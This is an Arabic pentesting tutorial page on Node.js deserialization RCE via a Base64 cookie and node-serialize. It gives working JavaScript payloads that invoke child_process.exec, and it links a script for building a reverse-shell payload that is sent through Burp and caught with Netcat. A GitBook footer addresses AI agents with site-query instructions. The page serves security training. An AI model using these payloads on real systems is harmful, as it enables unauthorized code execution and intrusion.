> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/deserialization-attack/node.js-deserialization-base64-pentesting-web.md).

# إلغاء تسلسل Node.js باستخدام Base64

## إلغاء التسلسل (node.js)

باستخدام Burp Suite، اعترض الطلب واعثر على **ملف تعريف ارتباط مُرمَّز بـ Base64**:

<figure><img src="/files/d50b1cb38cd0dc87ce67fafc43f8b2cb9a4f1691" alt="" width="563"><figcaption></figcaption></figure>

### **يدوي:**

الـ **serialize.js** يقوم الملف أدناه بتسلسل البيانات وينفذ أمرًا، في هذه الحالة `المعرّف`، على **جهازنا**:

```javascript
var y = {
 rthis: function(){
 require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) });
 }(),
}
var serialize = require('node-serialize');
console.log("Serialized: /n" + serialize.serialize(y));

```

<figure><img src="/files/fea4dcd8856a3dc2c891de35b6921d0a1e2eb9df" alt="" width="534"><figcaption></figcaption></figure>

لإرسال الحمولة إلى **التشغيلي**، أنشئ **unserialize.js** الملف أدناه:

```javascript
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(/'child_process/').exec(/'id/', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

```

<figure><img src="/files/187a7ee6c3038df6a5cb767f1403b7f6e0930c76" alt="" width="536"><figcaption></figcaption></figure>

### **تلقائيًا:**

استخدم هذا [البرنامج النصي](https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py)، ارفعه، ونفّذه باستخدام **python2.7**:

<figure><img src="/files/8f0932aa56854e48455db5d5cdeda3a6fb2f2315" alt="" width="563"><figcaption></figcaption></figure>

أنشئ ملفًا باسم `بيانات` بالمحتوى أدناه، واستبدل **input** بمحتوى السكربت:

```json
{"rce":"_$$ND_FUNC$$_function(){input}()"}

```

<figure><img src="/files/1f41db95831d806d433dfed8a318b7a4823dc363" alt="" width="563"><figcaption></figcaption></figure>

أخيرًا، حوّل هذا الملف إلى **Base64**:

<figure><img src="/files/c66e6586276b46796e23fd36a485ad4b4b7f710a" alt="" width="563"><figcaption></figcaption></figure>

الصق المحتوى في Burp Suite:

<figure><img src="/files/23a99bf21321a544c7b609eb7f81b593ae0e9995" alt="" width="563"><figcaption></figcaption></figure>

مع **Netcat**، استمع واحصل على وصول:

<figure><img src="/files/59cfd8e507681f72802f07230ccf6d59f0347c25" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/deserialization-attack/node.js-deserialization-base64-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
